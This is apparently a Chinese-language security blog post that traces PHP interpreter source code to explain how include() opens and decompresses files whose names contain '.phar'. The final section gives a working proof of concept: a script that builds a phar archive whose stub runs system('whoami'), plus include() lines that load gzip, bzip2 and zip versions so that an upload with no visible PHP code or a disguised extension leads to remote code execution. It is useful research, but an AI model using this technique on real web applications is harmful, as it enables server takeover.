Include底层逻辑
在调用include() 时会调用 Zend 引擎中的compile_filename(),根据文件路径(filename)将文件编译为 zend_op_array,并返回该操作数数组。文件路径的处理、是否已加载缓存、是否需要重新编译等都会由 compile_filename()` 来决定
zend_op_array *compile_filename(int type, zend_string *filename)
{
zend_file_handle file_handle;
zend_op_array *retval;
zend_string *opened_path = NULL;
zend_stream_init_filename_ex(&file_handle, filename);
retval = zend_compile_file(&file_handle, type);
if (retval && file_handle.handle.stream.handle) {
if (!file_handle.opened_path) {
file_handle.opened_path = opened_path = zend_string_copy(filename);
}
zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);
if (opened_path) {
zend_string_release_ex(opened_path, 0);
}
}
zend_destroy_file_handle(&file_handle);
return retval;
}
zend_compile_file是一个函数指针,对于phar:
zend_compile_file = phar_compile_file;
phar_compile_file:
static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
zend_op_array *res;
zend_string *name = NULL;
int failed;
phar_archive_data *phar;
if (!file_handle || !file_handle->filename) {
return phar_orig_compile_file(file_handle, type);
}
if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;
/* zip or tar-based phar */
name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
zend_stream_init_filename_ex(&f, name);
if (SUCCESS == zend_stream_open_function(&f)) {
zend_string_release(f.filename);
f.filename = file_handle->filename;
if (f.opened_path) {
zend_string_release(f.opened_path);
}
f.opened_path = file_handle->opened_path;
switch (file_handle->type) {
case ZEND_HANDLE_STREAM:
if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
file_handle->handle.stream.closer(file_handle->handle.stream.handle);
}
file_handle->handle.stream.handle = NULL;
break;
default:
break;
}
*file_handle = f;
}
} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
/* compressed phar */
file_handle->type = ZEND_HANDLE_STREAM;
/* we do our own reading directly from the phar, don't change the next line */
file_handle->handle.stream.handle = phar;
file_handle->handle.stream.reader = phar_zend_stream_reader;
file_handle->handle.stream.closer = NULL;
file_handle->handle.stream.fsizer = phar_zend_stream_fsizer;
file_handle->handle.stream.isatty = 0;
phar->is_persistent ?
php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
php_stream_rewind(phar->fp);
}
}
}
zend_try {
failed = 0;
CG(zend_lineno) = 0;
res = phar_orig_compile_file(file_handle, type);
} zend_catch {
failed = 1;
res = NULL;
} zend_end_try();
if (name) {
zend_string_release(name);
}
if (failed) {
zend_bailout();
}
return res;
}
/* }}} */
只要文件名中包含.phar且不含://就会调用phar_open_from_filename:
int phar_open_from_filename(char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, char **error) /* {{{ */
{
php_stream *fp;
zend_string *actual;
int ret, is_data = 0;
if (error) {
*error = NULL;
}
if (!strstr(fname, ".phar")) {
is_data = 1;
}
if (phar_open_parsed_phar(fname, fname_len, alias, alias_len, is_data, options, pphar, error) == SUCCESS) {
return SUCCESS;
} else if (error && *error) {
return FAILURE;
}
if (php_check_open_basedir(fname)) {
return FAILURE;
}
fp = php_stream_open_wrapper(fname, "rb", IGNORE_URL|STREAM_MUST_SEEK, &actual);
if (!fp) {
if (options & REPORT_ERRORS) {
if (error) {
spprintf(error, 0, "unable to open phar for reading \"%s\"", fname);
}
}
if (actual) {
zend_string_release_ex(actual, 0);
}
return FAILURE;
}
if (actual) {
fname = ZSTR_VAL(actual);
fname_len = ZSTR_LEN(actual);
}
ret = phar_open_from_fp(fp, fname, fname_len, alias, alias_len, options, pphar, is_data, error);
if (actual) {
zend_string_release_ex(actual, 0);
}
return ret;
}
/* }}}*/
phar_open_from_fp:
static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
static const char token[] = "__HALT_COMPILER();";
static const char zip_magic[] = "PK\x03\x04";
static const char gz_magic[] = "\x1f\x8b\x08";
static const char bz_magic[] = "BZh";
char *pos, test = '\0';
int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
const int window_size = 1024;
char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
const zend_long readsize = sizeof(buffer) - sizeof(token);
const zend_long tokenlen = sizeof(token) - 1;
zend_long halt_offset;
size_t got;
uint32_t compression = PHAR_FILE_COMPRESSED_NONE;
if (error) {
*error = NULL;
}
if (-1 == php_stream_rewind(fp)) {
MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
}
buffer[sizeof(buffer)-1] = '\0';
memset(buffer, 32, sizeof(token));
halt_offset = 0;
/* Maybe it's better to compile the file instead of just searching, */
/* but we only want the offset. So we want a .re scanner to find it. */
while(!php_stream_eof(fp)) {
if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
}
if (!test && recursion_count) {
test = '\1';
pos = buffer+tokenlen;
if (!memcmp(pos, gz_magic, 3)) {
char err = 0;
php_stream_filter *filter;
php_stream *temp;
/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
zval filterparams;
if (!PHAR_G(has_zlib)) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
}
array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);
/* entire file is gzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
}
php_stream_rewind(fp);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
if (!filter) {
err = 1;
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
zend_array_destroy(Z_ARR(filterparams));
if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
} else {
zend_array_destroy(Z_ARR(filterparams));
}
php_stream_filter_append(&temp->writefilters, filter);
if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
if (err) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
}
php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_GZ;
/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
break;
}
continue;
} else if (!memcmp(pos, bz_magic, 3)) {
php_stream_filter *filter;
php_stream *temp;
if (!PHAR_G(has_bz2)) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
}
/* entire file is bzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
}
php_stream_rewind(fp);
filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));
if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
}
php_stream_filter_append(&temp->writefilters, filter);
if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
}
php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_BZ2;
/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
break;
}
continue;
}
if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
}
if (got >= 512) {
if (phar_is_tar(pos, fname)) {
php_stream_rewind(fp);
return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
}
}
}
if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
}
halt_offset += got;
memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
}
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}
/* }}} */
简单来说这个函数负责打开一个可能是 PHAR 的文件流,根据文件头来识别它的格式(PHAR、ZIP、TAR、GZ、BZ2),并进行相应的解压和解析,比如文件格式是GZ,就会先进行解压获取其中的phar文件,再进行解析
利用phar压缩包实现RCE
根据这个特性,可以实现上传不包含php代码的文件实现RCE,一个简单的poc:
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
tar和phar都有php明文代码,没必要专门打包一个tar文件,所以选择直接include这个phar文件或压缩文件都可以实现RCE,利用了.phar文件名实现了解压:
include("exploit.phar.gz"); // gzip exploit.phar
include("exploit.phar.bz2"); // bzip2 exploit.phar
比较奇怪为什么zip没有成功,只能用伪协议,当然gz和bzip2也能用伪协议:
include("zip://exploit.phar.zip#exploit.phar");
include("compress.zlib://exploit.phar.gz");
include("compress.bzip2://exploit.phar.bz2");
之前也提到是根据文件头来识别压缩文件的,所以说即使后缀不为.gz .bz2也是可以实现解压的,可以用于绕过后缀名的检验,只要文件是相应压缩包格式即可
参考资料: